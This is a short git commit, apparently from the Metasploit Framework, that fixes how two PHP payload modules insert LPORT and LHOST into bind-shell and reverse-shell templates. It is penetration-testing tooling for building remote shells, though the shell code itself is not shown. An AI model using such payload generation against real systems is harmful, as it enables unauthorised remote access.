Use interpolation to ensure LPORT is a string for gsub

[Fixes #6542]
unstable
James Lee 2012-03-21 21:04:19 -06:00
parent ddacf1dde8
commit 2d29184adc
2 changed files with 3 additions and 17 deletions

View File

@ -32,14 +32,8 @@ module Metasploit3
))
end
def generate
if (datastore['LPORT'] and not datastore['LPORT'].empty?)
lport = datastore['LPORT']
else
lport = '4444'
end
bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp.php'))
bind.gsub!("4444", lport)
bind.gsub!("4444", "#{datastore["LPORT"]}")
return super + bind
end

View File

@ -38,17 +38,9 @@ module Metasploit3
# Constructs the payload
#
def generate
if (datastore['LHOST'] and not datastore['LHOST'].empty?)
lhost = datastore['LHOST']
lport = datastore['LPORT']
else
lhost = '127.0.0.1'
lport = '4444'
end
reverse = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'reverse_tcp.php'))
reverse.gsub!("127.0.0.1", lhost)
reverse.gsub!("4444", lport)
reverse.gsub!("127.0.0.1", "#{datastore["LHOST"]}")
reverse.gsub!("4444", "#{datastore["LPORT"]}")
#reverse.gsub!(/#.*$/, '')
#reverse = Rex::Text.compress(reverse)